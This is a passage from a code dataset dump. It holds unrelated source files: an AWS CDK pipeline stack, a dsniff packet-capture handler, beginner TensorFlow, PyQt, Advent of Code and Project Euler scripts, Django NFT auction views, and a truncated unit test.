'ec2:DescribeAccountAttributes',\n 'ec2:DescribeInstanceCreditSpecifications',\n 'ec2:GetDefaultCreditSpecification',\n 'ec2:ModifyDefaultCreditSpecification',\n 'ec2:ModifyInstanceCreditSpecification',\n 'ec2:DeleteVolume',\n 'ec2:DescribeNetworkInterfaceAttribute',\n 'ec2:DescribeNetworkInterfaces',\n 'ec2:DescribeNetworkInterfacePermissions',\n 'ec2:AttachNetworkInterface',\n 'ec2:DescribeNetworkInterfaces',\n 'ec2:DescribeNetworkInterfaceAttribute',\n 'ec2:DescribeNetworkInterfacePermissions',\n 'ec2:RevokeSecurityGroupIngress',\n 'ec2:DescribeImages'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'AssumeCrossAccountRoleForCodePull',\n actions = [\n 'sts:AssumeRole'\n ],\n effect = iam.Effect.ALLOW,\n resources = [cross_account_role]\n )\n ]\n )\n\n # CodePipeline Encryption Key Policy\n pipeline_encryption_key.add_to_resource_policy(\n statement = iam.PolicyStatement(\n sid = 'KmsAllowKeyAdministration',\n actions = [\n 'kms:*'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.AccountRootPrincipal()\n ],\n resources = ['*']\n )\n )\n\n pipeline_encryption_key.add_to_resource_policy(\n statement = iam.PolicyStatement(\n sid = 'KmsAllowKeyUsage',\n actions = [\n 'kms:Decrypt',\n 'kms:DescribeKey',\n 'kms:Encrypt',\n 'kms:GenerateDataKey',\n 'kms:GenerateDataKeyWithoutPlainText',\n 'kms:ReEncrypt',\n 'kms:ReEncryptTo',\n 'kms:ReEncryptFrom',\n 'kms:TagResource',\n 'kms:CreateKey'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.ArnPrincipal(\n arn = code_pipeline_role.role_arn\n )\n ],\n resources = ['*']\n )\n )\n\n # CodePipeline Bucket Policy\n pipeline_bucket.add_to_resource_policy(\n iam.PolicyStatement(\n sid = 'CodePipelineUsage',\n actions = [\n 's3:List*',\n 's3:Get*',\n 's3:Put*',\n 's3:Delete*',\n 's3:AbortMultipartUpload',\n 's3:RestoreObject',\n 's3:ListMultipartUploadParts'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.ArnPrincipal(\n arn = code_pipeline_role.role_arn\n )\n ],\n resources = [\n pipeline_bucket.bucket_arn,\n pipeline_bucket.bucket_arn+'/*'\n ]\n ),\n )\n\n # workload statefile Encryption Key Policy\n statefile_encryption_key.add_to_resource_policy(\n statement = iam.PolicyStatement(\n sid = 'KmsAllowKeyAdministration',\n actions = [\n 'kms:*'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.AccountRootPrincipal()\n ],\n resources = ['*']\n )\n )\n\n statefile_encryption_key.add_to_resource_policy(\n statement = iam.PolicyStatement(\n sid = 'KmsAllowKeyUsage',\n actions = [\n 'kms:Decrypt',\n 'kms:DescribeKey',\n 'kms:Encrypt',\n 'kms:GenerateDataKey',\n 'kms:GenerateDataKeyWithoutPlainText',\n 'kms:ReEncrypt',\n 'kms:ReEncryptTo',\n 'kms:ReEncryptFrom',\n 'kms:TagResource',\n 'kms:CreateKey'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.ArnPrincipal(\n arn = code_build_role.role_arn\n )\n ],\n resources = ['*']\n )\n )\n\n # workload statefile Bucket Policy\n statefile_bucket.add_to_resource_policy(\n iam.PolicyStatement(\n sid = 'CodeBuildUsage',\n actions = [\n 's3:List*',\n 's3:Get*',\n 's3:Put*',\n 's3:Delete*',\n 's3:AbortMultipartUpload',\n 's3:RestoreObject',\n 's3:ListMultipartUploadParts'\n ],\n effect = iam.Effect.ALLOW,\n principals = [\n iam.ArnPrincipal(\n arn = code_build_role.role_arn\n )\n ],\n resources = [\n statefile_bucket.bucket_arn,\n statefile_bucket.bucket_arn+'/*'\n ]\n ),\n )\n\n #####################################---END PREREQS---##########################################\n\n # Create code build project for pulling compliance code from remote Security & Compliance repo and executing compliance run on workload terraform\n code_build_compliance_run = codebuild.PipelineProject(\n self,\n 'CodeBuildForComplianceRun',\n build_spec = codebuild.BuildSpec.from_source_filename('buildspec-compliance.yml'),\n description = 'CodeBuild project for pulling code from remote Security & Compliance repo and executing compliance run on workload terraform workload',\n environment = codebuild.BuildEnvironment(\n build_image = codebuild.LinuxBuildImage.from_code_build_image_id(\n 'aws/codebuild/standard:4.0'\n ),\n compute_type = codebuild.ComputeType.SMALL\n #environment_variables = {\n # 'CROSS_ACCOUNT_ROLE': codebuild.BuildEnvironmentVariable(value=cross_account_role)\n #}\n ),\n project_name = 'cb-compliance-run-'+params['CODE_COMMIT_SOURCE_REPO_NAME']+'-'+params['CODE_COMMIT_SOURCE_REPO_BRANCH'],\n role = code_build_role\n )\n\n # Create code build project for workload deployment\n code_build_workload_deployment_run = codebuild.PipelineProject(\n self,\n 'CodeBuildForWorkloadDeployment',\n build_spec = codebuild.BuildSpec.from_source_filename('buildspec-workload-deploy.yml'),\n description = 'CodeBuild project for deploying the terraform workload',\n environment = codebuild.BuildEnvironment(\n build_image = codebuild.LinuxBuildImage.from_code_build_image_id(\n 'aws/codebuild/standard:4.0'\n ),\n compute_type = codebuild.ComputeType.SMALL\n #environment_variables = {\n # 'CROSS_ACCOUNT_ROLE': codebuild.BuildEnvironmentVariable(value=cross_account_role)\n #}\n ),\n project_name = 'cb-workload-deployment-run-'+params['CODE_COMMIT_SOURCE_REPO_NAME']+'-'+params['CODE_COMMIT_SOURCE_REPO_BRANCH'],\n role = code_build_role\n )\n\n # Create CodePipeline for compliance check of terraform workload\n pipeline = codepipeline.Pipeline(\n self,\n 'WorkloadPipeline',\n artifact_bucket = pipeline_bucket,\n pipeline_name = 'pipeline-'+params['CODE_COMMIT_SOURCE_REPO_NAME']+'-'+params['CODE_COMMIT_SOURCE_REPO_BRANCH'],\n role = code_pipeline_role\n )\n\n # Add CodeCommit source repo as the action\n pipeline.add_stage(\n stage_name = 'Source',\n actions = [\n codepipeline_actions.CodeCommitSourceAction(\n action_name = \"Source\",\n output = codepipeline.Artifact(artifact_name = 'SourceArtifact'),\n repository = source_repo,\n branch = params['CODE_COMMIT_SOURCE_REPO_BRANCH'],\n trigger = codepipeline_actions.CodeCommitTrigger.EVENTS\n )\n ]\n )\n\n # Add stage to pull compliance source code and run compliance check\n tf_code_artifact_name_prefix = \"tf_code_\"\n pull_tf_code_stage = pipeline.add_stage(stage_name = 'RunComplianceCheck')\n #for tf_workload in params['TERRAFORM_APPLICATION_WORKLOAD_LIST']:\n pull_tf_code_stage.add_action(\n codepipeline_actions.CodeBuildAction(\n input = codepipeline.Artifact(artifact_name = 'SourceArtifact'),\n project = code_build_compliance_run,\n environment_variables = {\n 'CROSS_ACCOUNT_ROLE': codebuild.BuildEnvironmentVariable(\n value = cross_account_role,\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n ),\n 'COMPLIANCE_REPO_URL': codebuild.BuildEnvironmentVariable(\n value = params['COMPLIANCE_CODE']['GIT_REPO_URL'],\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n ),\n 'WORLOAD_STATEFILE_BUCKET_NAME': codebuild.BuildEnvironmentVariable(\n value = statefile_bucket.bucket_name,\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n )\n },\n outputs = [\n codepipeline.Artifact(artifact_name = tf_code_artifact_name_prefix+params['COMPLIANCE_CODE']['ID'])\n ],\n type = codepipeline_actions.CodeBuildActionType.BUILD,\n action_name = 'RunCompliance_'+params['COMPLIANCE_CODE']['ID'],\n run_order = 5\n )\n )\n\n # Add stage to deploy workload\n tf_code_artifact_name_prefix2 = \"tf_code2_\"\n tf_workload_deploy_stage = pipeline.add_stage(stage_name = 'DeployWorkload')\n tf_workload_deploy_stage.add_action(\n codepipeline_actions.CodeBuildAction(\n input = codepipeline.Artifact(artifact_name = 'SourceArtifact'),\n project = code_build_workload_deployment_run,\n environment_variables = {\n 'CROSS_ACCOUNT_ROLE': codebuild.BuildEnvironmentVariable(\n value = cross_account_role,\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n ),\n 'COMPLIANCE_REPO_URL': codebuild.BuildEnvironmentVariable(\n value = params['COMPLIANCE_CODE']['GIT_REPO_URL'],\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n ),\n 'WORLOAD_STATEFILE_BUCKET_NAME': codebuild.BuildEnvironmentVariable(\n value = statefile_bucket.bucket_name,\n type = codebuild.BuildEnvironmentVariableType.PLAINTEXT\n )\n },\n outputs = [\n codepipeline.Artifact(artifact_name = tf_code_artifact_name_prefix2+params['COMPLIANCE_CODE']['ID'])\n ],\n type = codepipeline_actions.CodeBuildActionType.BUILD,\n action_name = 'DeployWorkload_'+params['COMPLIANCE_CODE']['ID'],\n run_order = 6\n )\n )\n\n ########################### List of Outputs ##########################\n core.CfnOutput(\n self,\n 'OutSourceRepoArn',\n value = source_repo.repository_arn,\n description = 'workload source Repository ARN',\n export_name = 'WORKLOAD-SOURCE-REPO-ARN'\n )\n\n core.CfnOutput(\n self,\n 'OutSourceRepoHttpUrl',\n value = source_repo.repository_clone_url_http,\n description = 'Workload source Repository Http URL',\n export_name = 'WORKLOAD-SOURCE-REPO-HTTP-URL'\n )\n\n core.CfnOutput(\n self,\n 'OutPipelineBucketName',\n value = pipeline_bucket.bucket_name,\n description = 'Pipeline Bucket Name',\n export_name = 'PIPELINE-BUCKET-NAME'\n )\n\n core.CfnOutput(\n self,\n 'OutStateFileBucketName',\n value = statefile_bucket.bucket_name,\n description = 'Terraform Backend StateFile Bucket Name',\n export_name = 'STATEFILE-BUCKET-NAME'\n )\n ##########################################################################\n","repo_name":"aws-samples/aws-continuous-compliance-for-terraform","sub_path":"workload-account/stacks/pipeline_stack/cdk_stack.py","file_name":"cdk_stack.py","file_ext":"py","file_size_in_byte":29198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"6610156723","text":"# $Id$\n\nimport glob, os, sys\nimport pcap, dnet\nimport dsniff\n\ndef lookupdev():\n \"\"\"XXX - better pcap_lookupdev()\"\"\"\n intf = dnet.intf()\n ifent = intf.get_dst(dnet.addr('1.2.3.4')) or \\\n [ x for x in intf if x['flags'] & dnet.INTF_FLAG_UP and\n x['type'] == dnet.INTF_TYPE_ETH ][0]\n return ifent['name']\n\nclass PcapFactory(object):\n def __new__(cls, *args, **kwargs):\n try:\n import wtap\n class Wtap(wtap.wtap): pass\n return Wtap(*args, **kwargs)\n except (ImportError, IOError):\n class Pcap(pcap.pcap): pass\n return Pcap(*args, **kwargs)\n\nclass PcapHandler(dsniff.Handler):\n \"\"\"Packet capture handler.\"\"\"\n name = 'pcap'\n\n interfaces = []\n snaplen = 31337\n prefilter = ''\n debug = 0\n\n def setup(self):\n if self.interfaces:\n l = []\n for i in self.interfaces:\n l.extend(glob.glob(i) or [ i ])\n self.interfaces = l\n elif not self.interfaces:\n self.interfaces = [ lookupdev() ]\n self.pcaps = {}\n\n def __pcap_open(self, name, **kwargs):\n def __recv_pkt(ts, pkt, pc):\n dsniff.Handler.ts = ts # XXX\n dsniff.Handler.pkt = pkt\n dsniff.Handler.pc = pc\n self.publish(pc.event, pc, pkt)\n def __read_cb(pc, stat):\n if pc.dispatch(-1, __recv_pkt, pc) <= stat:\n self.abort()\n return True\n pc = PcapFactory(name, **kwargs)\n if not (os.path.isfile(pc.name) or pc.name == '-'):\n # FIXME - or only if b0rked BPF\n pc.setnonblock()\n self.timeout(0.1, __read_cb, pc, -1)\n else:\n dsniff.event.read(pc, __read_cb, pc, 0)\n return pc\n\n def __pcap_info(self, pc):\n if pc.filter:\n return '%s (%s, snaplen: %d)' % (pc.name, pc.filter, pc.snaplen)\n else:\n return '%s (snaplen: %d)' % (pc.name, pc.snaplen)\n\n def _register(self, event, callback):\n # Create new pcap handle as needed for new subscriptions\n pcfilter = ' and '.join(filter(None, [ self.prefilter, event ]))\n if None in self.pcaps:\n # XXX - reuse any cached pcaps\n self.pcaps[event] = self.pcaps.pop(None)\n for pc in self.pcaps[event]:\n pc.setfilter(pcfilter)\n pc.event = event\n if self.debug > 0:\n print >>sys.stderr, 'updated', self.__pcap_info(pc)\n elif event not in self.pcaps:\n self.pcaps[event] = []\n for dev in self.interfaces:\n pc = self.__pcap_open(dev, timeout_ms=0,\n snaplen=self.snaplen)\n pc.setfilter(pcfilter)\n pc.event = event\n print >>sys.stderr, 'opened', self.__pcap_info(pc)\n self.pcaps[event].append(pc)\n super(PcapHandler, self)._register(event, callback)\n\n def _unregister(self, event, callback):\n super(PcapHandler, self)._unregister(event, callback)\n pcaps = self.pcaps.pop(event)\n if not self.callbacks:\n # XXX - cache last set of pcaps\n self.pcaps[None] = pcaps\n\n def teardown(self):\n for pcaps in self.pcaps.itervalues():\n for pc in pcaps:\n try:\n stats = pc.stats()\n print >>sys.stderr, \\\n 'closed %s: %d packets received, %d dropped' % \\\n (self.__pcap_info(pc), stats[0], stats[1])\n except OSError:\n print >>sys.stderr, 'closed', self.__pcap_info(pc)\n","repo_name":"dugsong/dsniff","sub_path":"dsniff/core/pkt.py","file_name":"pkt.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"38"} +{"seq_id":"45819690804","text":"import tensorflow as tf\n\nnode1 = tf.constant(3.0, tf.float32)\nnode2 = tf.constant(4.0) \nnode3 = tf.add(node1, node2)\n\n# print(\"node1:\", node1, \"node2:\", node2)\n# print(\"node3: \", node3)\n\nsess = tf.Session()\n# print(\"sess.run(node1, node2): \", sess.run([node1, node2]))\n# print(\"sess.run(node3): \", sess.run(node3))\n\na = tf.placeholder(tf.float32)\nb = tf.placeholder(tf.float32)\nadder_node = a + b # + provides a shortcut for tf.add(a, b)\n\nprint(sess.run(adder_node, feed_dict={a: 3, b: 4.5}))\nprint(sess.run(adder_node, feed_dict={a: [1,3], b: [2, 4]}))\n\nadd_and_triple = adder_node * 3.\nprint(sess.run(add_and_triple, feed_dict={a: 3, b:4.5}))\n","repo_name":"gema0000/bit2019","sub_path":"tf/tf04_placeholder.py","file_name":"tf04_placeholder.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"30340820174","text":"import win32com.client\nimport pyttsx3\n\noutlook = win32com.client.Dispatch(\"Outlook.Application\").GetNamespace(\"MAPI\")\ninbox = outlook.GetDefaultFolder(6)\nmessages = inbox.Items\nmessage = messages.GetLast()\n\n\n\"\"\" print(\"Sender: \" + message.SenderName)\nprint(\"Subject: \" + message.subject)\nprint(\"Email: \" + message.body) \"\"\"\n\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', voices[1].id)\nengine.setProperty('rate', 150)\nengine.setProperty('volume', 0.6)\n# print(voices[1].id)\nengine.say(\"Hello, Darrell\")\nengine.say(\"You have an email from {}\".format(message.SenderName))\nengine.say(\"Subject: {}\".format(message.subject))\nengine.say(\"Email message: {}\".format(message.body))\nengine.runAndWait()\n","repo_name":"PdxCodeGuild/hydra","sub_path":"code/darrell/capstone/assets/read_speak_email.py","file_name":"read_speak_email.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"86509721035","text":"#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n例子:事件对象\r\nZetCode PyQt5 tutorial \r\n\r\nIn this example, we display the x and y \r\ncoordinates of a mouse pointer in a label widget.\r\n\r\nAuthor: Jan Bodnar\r\nWebsite: zetcode.com \r\nLast edited: August 2017\r\n\"\"\"\r\n\r\nimport sys\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtWidgets import QWidget, QApplication, QGridLayout, QLabel\r\n\r\nclass Example(QWidget):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self.initUI()\r\n\r\n\r\n def initUI(self): \r\n\r\n grid = QGridLayout()\r\n grid.setSpacing(10)\r\n\r\n x = 0\r\n y = 0\r\n\r\n self.text = \"x: {0}, y: {1}\".format(x, y)\r\n #在一个组件里显示鼠标的X和Y坐标。\r\n\r\n self.label = QLabel('self.text', self)\r\n '''\r\n PySide2.QtWidgets.QLabel(text[, parent=None[, f=Qt.WindowFlags()]])\r\n QLabel用于显示文本或图像。没有提供用户交互功能\r\n Constructs a label that displays the text.\r\n The parent and widget flag f , arguments are passed to the QFrame constructor.\r\n 构建一个显示文本的标签,参数中父级和控件标志f会被传递给QFrame构造函数\r\n '''\r\n grid.addWidget(self.label, 0, 0, Qt.AlignTop)\r\n\r\n self.setMouseTracking(True)\r\n #事件追踪默认没有开启,当开启后才会追踪鼠标的点击事件\r\n\r\n self.setLayout(grid)\r\n\r\n self.setGeometry(300, 300, 350, 200)\r\n self.setWindowTitle('Event object')\r\n self.show()\r\n\r\n\r\n def mouseMoveEvent(self, e):\r\n '''\r\n 官方文档中的解释仅一句:Override this to handle mouse move events. 覆盖此操作以处理鼠标移动事件\r\n 这里的参数e为事件对象。里面有我们触��事件(鼠标移动)的事件对象。\r\n 下面的x()和y()方法可以得到鼠标在窗口中此刻的x和y坐标点,然后拼成字符串输出到QLabel组件里\r\n '''\r\n x = e.x()\r\n y = e.y()\r\n\r\n text = \"x: {0}, y: {1}\".format(x, y)\r\n\r\n self.label.setText(text)\r\n '''\r\n 注意qtcy中以很多个setText函数,这里是:PySide2.QtWidgets.QLabel.setText(arg__1)\r\n Parameters: arg__1 – str\r\n \r\n '''\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n app = QApplication(sys.argv)\r\n ex = Example()\r\n sys.exit(app.exec_())","repo_name":"JustSkim/PYQT5_zetcode","sub_path":"XYcoordinates.py","file_name":"XYcoordinates.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12989580492","text":"'''\n--- Day 21: Dirac Dice ---\n\nThere's not much to do as you slowly descend to the bottom of the ocean. The submarine computer challenges you to a nice game of Dirac Dice.\n\nThis game consists of a single die, two pawns, and a game board with a circular track containing ten spaces marked 1 through 10 clockwise. Each player's starting space is chosen randomly (your puzzle input). Player 1 goes first.\n\nPlayers take turns moving. On each player's turn, the player rolls the die three times and adds up the results. Then, the player moves their pawn that many times forward around the track (that is, moving clockwise on spaces in order of increasing value, wrapping back around to 1 after 10). So, if a player is on space 7 and they roll 2, 2, and 1, they would move forward 5 times, to spaces 8, 9, 10, 1, and finally stopping on 2.\n\nAfter each player moves, they increase their score by the value of the space their pawn stopped on. Players' scores start at 0. So, if the first player starts on space 7 and rolls a total of 5, they would stop on space 2 and add 2 to their score (for a total score of 2). The game immediately ends as a win for any player whose score reaches at least 1000.\n\nSince the first game is a practice game, the submarine opens a compartment labeled deterministic dice and a 100-sided die falls out. This die always rolls 1 first, then 2, then 3, and so on up to 100, after which it starts over at 1 again. Play using this die.\n\nFor example, given these starting positions:\n\nPlayer 1 starting position: 4\nPlayer 2 starting position: 8\n\nThis is how the game would go:\n\n Player 1 rolls 1+2+3 and moves to space 10 for a total score of 10.\n Player 2 rolls 4+5+6 and moves to space 3 for a total score of 3.\n Player 1 rolls 7+8+9 and moves to space 4 for a total score of 14.\n Player 2 rolls 10+11+12 and moves to space 6 for a total score of 9.\n Player 1 rolls 13+14+15 and moves to space 6 for a total score of 20.\n Player 2 rolls 16+17+18 and moves to space 7 for a total score of 16.\n Player 1 rolls 19+20+21 and moves to space 6 for a total score of 26.\n Player 2 rolls 22+23+24 and moves to space 6 for a total score of 22.\n\n...after many turns...\n\n Player 2 rolls 82+83+84 and moves to space 6 for a total score of 742.\n Player 1 rolls 85+86+87 and moves to space 4 for a total score of 990.\n Player 2 rolls 88+89+90 and moves to space 3 for a total score of 745.\n Player 1 rolls 91+92+93 and moves to space 10 for a final score, 1000.\n\nSince player 1 has at least 1000 points, player 1 wins and the game ends. At this point, the losing player had 745 points and the die had been rolled a total of 993 times; 745 * 993 = 739785.\n\nPlay a practice game using the deterministic 100-sided die. The moment either player wins, what do you get if you multiply the score of the losing player by the number of times the die was rolled during the game?\n'''\n\nclass Die:\n def __init__(self, det=True):\n self.last = 0\n self.det = det\n self.rolls = 0\n\n def roll(self):\n self.rolls += 1\n if self.det:\n self.last += 1\n return self.last\n else:\n return 0\n\nclass Player:\n def __init__(self, num, start):\n self.num = num\n self.pos = start\n self.score = 0\n\n def move(self, x):\n temp = self.pos\n self.pos = (temp + x) % 10 if (temp + x) % 10 != 0 else 10\n self.score += self.pos\n return self.score\n\n\nwith open(\"input.txt\") as file:\n data = [[int(y) for y in x.strip().replace('Player ','').replace('starting position: ','').split(' ')] for x in file.readlines()]\n \nplayers = []\nfor player, pos in data:\n players.append(Player(player, pos))\n\nd = Die()\nwhile True:\n for p in players:\n if p.move(d.roll() + d.roll() + d.roll()) >= 1000:\n break\n else:\n continue\n break\n\nwinner = players[0] if players[0].score > players[1].score else players[1]\nloser = players[1] if players[0].score > players[1].score else players[0]\nprint(\"Player \" + str(winner.num) + \" wins!\")\nprint(loser.score * d.rolls)\npass","repo_name":"mchartigan/adventofcode-2021","sub_path":"20211221/prob1.py","file_name":"prob1.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1227326777","text":"from math import floor\n\ndef binIsPal(n):\n collector = []\n while(not n == 0):\n collector.append(str(n % 2))\n n = floor(n / 2)\n return collector == collector[::-1]\n\ndef isPal(pal):\n return pal == pal[::-1]\n\npalSum = 0\nfor n in range(1, 1000000, 2):\n if(isPal(str(n)) and binIsPal(n)):\n print(n)\n palSum += n\n\nprint(palSum)\n","repo_name":"MarkDunne/project-euler","sub_path":"solutions/problem36.py","file_name":"problem36.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"36796050995","text":"import json\nimport datetime\nimport os\nimport pytz\nimport sys\nimport uuid\n\nfrom django.conf import settings\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import default_storage\nfrom django.shortcuts import render\n\nfrom .forms import DocumentForm, AuctionForm\nfrom .models import Token, Auction\n\nsys.path.append(os.path.abspath('../accounts'))\nfrom accounts.models import Profile\n\n\n# Create your views here.\ndef index(request):\n context = {}\n\n if request.user.is_authenticated:\n request.user.__class__ = Profile\n minted = json.loads(request.user.minted)\n context.update({\"auth_url\": \"accounts/logout\", \"auth_text\": \"Logout\"})\n else:\n minted = None\n context.update({\"auth_url\": \"accounts/login\", \"auth_text\": \"Login\"})\n\n if request.method == \"GET\":\n mint_form = DocumentForm()\n else:\n mint_form = DocumentForm(request.POST, request.FILES)\n if mint_form.is_valid:\n # Save file to /uploads/\n file = request.FILES[\"file\"]\n short_path = default_storage.save(str(file), ContentFile(file.read()))\n full_path = os.path.join(settings.MEDIA_ROOT, short_path)\n\n # Create new Token\n new_token = Token()\n new_token.title = mint_form.__dict__[\"data\"][\"title\"]\n new_token.category = mint_form.__dict__[\"data\"][\"category\"]\n new_token.filepath = full_path\n new_token.owner = request.user.username\n new_token.save()\n minted.append(str(new_token.token))\n request.user.minted = json.dumps(list(set(minted)))\n request.user.save()\n context.update({\"form\": mint_form})\n if minted:\n context.update({\"minted_tokens\": minted})\n return render(request, 'mint.html', context)\n\n\ndef auctions(request):\n context = {}\n if request.user.is_authenticated:\n context.update({\"auth_url\": \"accounts/logout\", \"auth_text\": \"Logout\"})\n else:\n context.update({\"auth_url\": \"accounts/login\", \"auth_text\": \"Login\"})\n auctions = []\n for auction in Auction.objects.all():\n print(str(auction.time_start))\n start = datetime.datetime.strptime(str(auction.time_start), \"%Y-%m-%d %H:%M:%S.%f%z\")\n end = start + datetime.timedelta(days=auction.n_days)\n now = pytz.utc.localize(datetime.datetime.now())\n if end > now:\n auctions.append((f\"{auction.id.title}\", auction.owner,\n auction.id.category, (end - now).days, \"$\" + str(auction.current_price)))\n context.update({\"auctions\": auctions})\n return render(request, 'auctions/auctions.html', context)\n\n\ndef new_auction(request):\n context = {}\n if request.user.is_authenticated:\n context.update({\"auth_url\": \"accounts/logout\", \"auth_text\": \"Logout\"})\n else:\n context.update({\"auth_url\": \"accounts/login\", \"auth_text\": \"Login\"})\n\n user = Profile.objects.get(pk=request.user.pk)\n\n if request.method == \"GET\":\n form = AuctionForm()\n form.set_token_choice(user)\n else:\n form = AuctionForm(request.POST)\n form.set_token_choice(user)\n t = Token.objects.get(token=request.POST[\"token\"])\n if Auction.objects.filter(id=t).count() == 0 and int(request.POST[\"n_days\"]) > 0:\n new_auction_model = Auction()\n new_auction_model.id = t\n new_auction_model.owner = request.user.username\n new_auction_model.n_days = int(request.POST[\"n_days\"])\n new_auction_model.current_price = float(request.POST[\"start_price\"])\n new_auction_model.save()\n else:\n print(\"Oh no!\")\n\n return auctions(request)\n\n minted = json.loads(user.minted)\n options = []\n for m in minted:\n temp_token = Token.objects.get(token=m)\n if Auction.objects.filter(id=temp_token).count() == 0:\n options.append((temp_token.title, m))\n context.update({\"options\": options})\n return render(request, 'auctions/new_auction.html', context)\n\n\ndef auction_details(request, token):\n context = {}\n if request.user.is_authenticated:\n context.update({\"auth_url\": \"accounts/logout\", \"auth_text\": \"Logout\"})\n else:\n context.update({\"auth_url\": \"accounts/login\", \"auth_text\": \"Login\"})\n\n queried_token = Token.objects.get(token=uuid.UUID(token))\n queried_auction = Auction.objects.get(id=queried_token)\n\n if queried_auction.owner == request.user.username:\n context.update({\"show_bid\": False})\n else:\n context.update({\"show_bid\": True})\n\n if request.method == \"POST\":\n queried_auction.winning = request.user.username\n queried_auction.current_price = int(queried_auction.current_price * 1.2) + 1\n queried_auction.n_bids += 1\n queried_auction.save()\n\n context.update({\"current_price\": queried_auction.current_price,\n \"next_price\": int(queried_auction.current_price * 1.2) + 1,\n \"winning\": queried_auction.winning})\n context.update(queried_token.jsonify())\n return render(request, 'auctions/auction_details.html', context)\n\n\ndef token_details(request, token):\n context = {}\n if request.user.is_authenticated:\n context.update({\"auth_url\": \"accounts/logout\", \"auth_text\": \"Logout\"})\n else:\n context.update({\"auth_url\": \"accounts/login\", \"auth_text\": \"Login\"})\n queried_token = Token.objects.get(token=uuid.UUID(token))\n context.update(queried_token.jsonify())\n return render(request, 'details.html', context)\n\n\ndef preview(request, token):\n queried_token = Token.objects.get(token=uuid.UUID(token))\n context = {\"bytes\": open(queried_token.filepath, \"rb\").read()}\n return render(request, 'static.html', context)\n","repo_name":"nealgandhi/NFTrees","sub_path":"nftree/tokens/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5817,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"74998102189","text":"# Напишите программу, которая принимает \r\n# на вход координаты двух точек и находит расстояние\r\n# между ними в 2D пространстве.\r\n# Пример:\r\n# - A (3,6); B (2,1) -> 5,09\r\n# - A (7,-5); B (1,-1) -> 7,21\r\n\r\nfrom math import sqrt\r\n\r\n\r\na = float(input('1-ая точка х -'))\r\nb = float(input('1-ая точка y -'))\r\nc = float(input('2-ая точка х -'))\r\nd = float(input('2-ая точка y -'))\r\n\r\nline = sqrt(( c - a ) * ( c - a ) + (d - a) * ( d - a ))\r\nprint(line)","repo_name":"Dershrederi/Learning-Geek1","sub_path":"task1.5.py","file_name":"task1.5.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24028458262","text":"import unittest\nimport logging\nimport os\nimport shutil\nimport time\nimport sys\n\nfrom subprocess import Popen\nfrom SisClient.Testbed.Utils.utils import FileUtils\n\nclass TerminationTest(unittest.TestCase):\n\n DIRECTORY_TRACKER = \"test/termination_tracker\"\n DIRECTORY_SEEDER = \"test/termination_seeder\"\n DIRECTORY_LEECHER = \"test/termination_leecher\"\n \n FILE = FileUtils.get_current_script_directory(__file__) + \\\n os.path.normcase('/') + \"reports_large.zip\"\n FILE_RELATIVE = FileUtils.get_relative_filename(FILE)\n \n _start_tracker = \"sh tracker.sh -f \" + DIRECTORY_TRACKER + \\\n \" -u http://localhost:8859/announce -d \" + DIRECTORY_TRACKER\n _start_client = \"sh client.sh -d %s %s\"\n _cmd_grep_tracker_pid = \"ps -AF | grep tracker.sh\"\n _cmd_grep_client_pid = \"ps -AF | grep client.sh\"\n \n def setUp(self):\n os.mkdir(self.DIRECTORY_TRACKER)\n os.mkdir(self.DIRECTORY_SEEDER)\n os.mkdir(self.DIRECTORY_LEECHER)\n \n shutil.copyfile(self.FILE, self.DIRECTORY_TRACKER + \\\n os.path.normcase('/') + self.FILE_RELATIVE)\n \n def tearDown(self):\n FileUtils.remove_directory_recursively(self.DIRECTORY_TRACKER)\n FileUtils.remove_directory_recursively(self.DIRECTORY_LEECHER)\n FileUtils.remove_directory_recursively(self.DIRECTORY_SEEDER)\n \n def suite(self):\n suite = unittest.TestSuite()\n suite.addTest(TerminationTest(\"testTerminateAfterDownload\"))\n #suite.addTest(TerminationTest(\"testTerminateAfterPlayback\"))\n #suite.addTest(TerminationTest(\"testTerminateAfterSeeding\"))\n return suite\n \n def _copy_files_to_client(self, from_dir, to_dir, is_seeder=False):\n from_files = [ from_dir + os.path.normcase('/') + self.FILE_RELATIVE + constants.TORRENT_DOWNLOAD_EXT ]\n if is_seeder:\n from_files.append(from_dir + os.path.normcase('/') + self.FILE_RELATIVE)\n for file in from_files:\n shutil.copy(file, to_dir + os.path.normcase('/') + \\\n 